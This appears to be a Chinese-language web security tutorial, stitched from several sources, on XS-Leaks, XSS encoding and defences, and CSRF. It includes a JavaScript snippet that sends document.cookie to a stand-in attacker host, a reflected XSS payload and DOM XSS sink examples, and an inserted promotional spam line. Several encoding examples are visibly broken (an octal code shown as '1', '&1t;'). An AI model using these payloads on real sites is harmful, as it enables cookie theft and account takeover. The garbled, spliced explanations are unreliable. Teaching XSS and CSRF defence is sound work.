瀏覽器提供了各種各樣的功能來支持不同Web應用程序之間的互動；例如，瀏覽器允許一個網站加載子資源、導航或向另一個應用程序發送消息。雖然這些行為通常受到網絡平臺的安全機制的限制（例如同源政策），但XS- Leaks利用了網站之間互動過程中的各種行為來泄露用戶信息。
既然是側信道，那么這個信道從何而來呢？通常來說，這個信道需要結合題目設置的各種功能或者瀏覽器的某些特性，而往往這些功能或者特性對用戶的返回只有兩種回答，也就是類似SQL注入中布爾盲注攻擊一樣，只不過他放到了瀏覽器以及Web應用當中。舉個簡單例子，有這么一個搜索功能，對于用戶搜索的內容如果存在，則返回200碼，否則返回其他非200狀態碼響應，我們就可以從頭挨個通過Web服務返回的狀態碼來判斷自己傳遞的是否正確進而泄露Web服務當中的內容，于是我們還可以使用 onload等事件進一步進行自動化泄露。再舉個小例子，在沒有正確設置 SameSite的情況下，如果存在一些Web應用對于用戶沒有登錄返回403，登錄狀態返回200，則可以一些跨域標簽，比如 script可以依照這兩種狀態來判斷用戶是否登錄。
XS-Leaks并不是說可以直接造成什么危害巨大的漏洞，它更側重于Leak，側重于信息泄露方面。并且造成大多數XS-Leaks的根本原因是網絡設計上的問題，很多時候，web服務在沒有漏洞的情況下就容易受到些信息泄露的影響。但是在瀏覽器層面修復XS-Leaks也是及其困難的，因為在許多情況下，會影響到很多現有的Web服務，會對原有的Web服務造成巨大的沖擊。所以，要防御該類型的漏洞，通常是要使用各種嚴格的同源限制，才能達到預期效果。
js編碼
HTML實體編碼
URL編碼
String.fromCharCode編碼
在線xss轉碼：https://www.toolmao.com/xsstranser
JS提供了四種字符編碼的策略，
三個八進制數字，如果數字不夠，在前面補零，如a的編碼為1
兩個十六進制數字，如果數字不夠，在前面補零，如a的編碼為\x61
四個十六進制數字，如果數字不夠，在前面補零，如a的編碼為\u0061
對于一些控制字符，使用特殊的C類型的轉義風格，如\n和\r
以&開頭，以分號結尾的，如<的編碼為&1t;
十進制，十六進制的ASCII碼或者Unicode字符編碼。樣式為&#數值;
如<的編碼為
<(10進制)
<(16進制)
這里為url全編碼，也就是兩次url編碼
如alert的url全編碼為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
如alert的編碼為String.fromCharCode(97,108,101,114,116)
輸入是否僅僅包含合法的字符
輸入字符串是否超過最大長度的限制
輸入如果為數字，數字是否在指定的范圍內
輸入是否符合特定的格式要求，如郵箱、電話號碼、ip地址等
2、數據消毒
除了在客戶端驗證數據的合法性，輸入過濾中最重要的還是過濾和凈化有害的輸入，例如如下常見的敏感字符：
||<> ’ "&# javascript expression
對輸出的數據進行編碼，如HTML編碼，就是讓可能造成危害的信息變成無害。
兩點注意點：
2021最新整理網絡安全/滲透測試/安全學習/100份src技術文檔（全套視頻、大廠面經、精品手冊、必備工具包、路線）一>關注我，私信回復"資料"獲取<一
微軟開發的，.Net平臺下的，用于方式XSS攻擊的類庫，它提供了大量的編碼函數來對用戶輸入的數據進行編碼，可以實現基于白名單的輸入的過濾和輸出編碼。
當Cookie在消息頭中被設置為HttpOnly時，這樣支持Cookie的瀏覽器將阻止客戶端Javascript直接訪問瀏覽器中的cookies，從而達到保護敏感數據的作用。
Noscript是一款免費的開源插件，該插件默認禁止所有腳本，但可以自定義設置允許通過的腳本。
使用WAF，比如軟WAF，硬WAF、云WAF等。
隨著互聯網的發達，各種WEB應用也變得越來越復雜，滿足了用戶的各種需求，但是隨之而來的就是各種網絡安全的問題。了解常見的前端攻擊形式和保護我們的網站不受攻擊是我們每個優秀fronter必備的技能。
XSS是一種經常出現在web應用中的計算機安全漏洞，為了和 CSS 區分，這里把攻擊的第一個字母改成了X，于是叫做XSS，它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)，從而發起非法行為和獲取網站的敏感數據。
實施XSS攻擊需要具備兩個條件
一、需要向web頁面注入惡意代碼, 利用表單和url地址欄的查詢字符串注入js非法代碼
二、這些惡意代碼能夠被瀏覽器成功地執行
XSS攻擊的主要目的
一、竊取Cookies和私信信息，發送到黑客網站上
1 2 3 | var i=document.createElement("img"); document.body.appendChild(i); i.src="http://www.hackerserver.com/?c=" + document.cookie; |
二、發起非法行為
1 2 3 4 5 6 7 | 地址欄： http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x=" 把id放入到img之后最終反射出來的HTML代碼： <div> <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" /> </div> |
DOM 型 XSS 攻擊，實際上就是網站前端 JavaScript 代碼本身不夠嚴謹，把不可信的數據當作代碼執行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 | <!-- 內聯事件監聽器中包含惡意代碼 --> < img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png," > <!-- 鏈接內包含惡意代碼 --> < a href="UNTRUSTED" > 1 </ a > < script > // setTimeout()/setInterval() 中調用惡意代碼 setTimeout( "UNTRUSTED" ) setInterval( "UNTRUSTED" ) // location 調用惡意代碼 location.href='UNTRUSTED' // eval() 中調用惡意代碼 eval ( "UNTRUSTED" ) </ script > |
攻擊者盜用了你的身份，以你的名義發送惡意請求，對服務器來說這個請求是完全合法的，但是卻完成了攻擊者所期望的一個操作，比如以你的名義發送郵件、發消息，盜取你的賬號，添加系統管理員，甚至于購買商品、虛擬貨幣轉賬等。Cookie是按照Domain存儲的，當請求一個網站的時候，瀏覽器會自動把這個網站的Cookie發送過去。
CSRF攻擊是攻擊者利用用戶的身份(Cookie)操作用戶帳戶的一種攻擊方式，我們可以利用修改登錄態的位置（由cookie中放到地址欄或者自定義請求頭部）和refer的判斷來防御CSRF攻擊，由前端和服務端配合一起解決CSRF攻擊。
攻擊類型
字面理解
宿主網站
攻擊方式
XSS(cross site script) | 跨站腳本攻擊，在別人的網站注入JS腳本以觸發非法操作或者獲取別人網站的私密信息 | A網站 | 給A網站注入JS腳本 |
CSRF(cross site request forgery) | 跨站請求偽造，在釣魚網站偽裝成正常網站，非法使用瀏覽器自帶Cookie的機制發起偽造正常網站的請求 | A網站 | 在B網站借助A網站的Cookie，偽造發起A網站的請求 |
*請認真填寫需求信息，我們會在24小時內與您取得聯系。
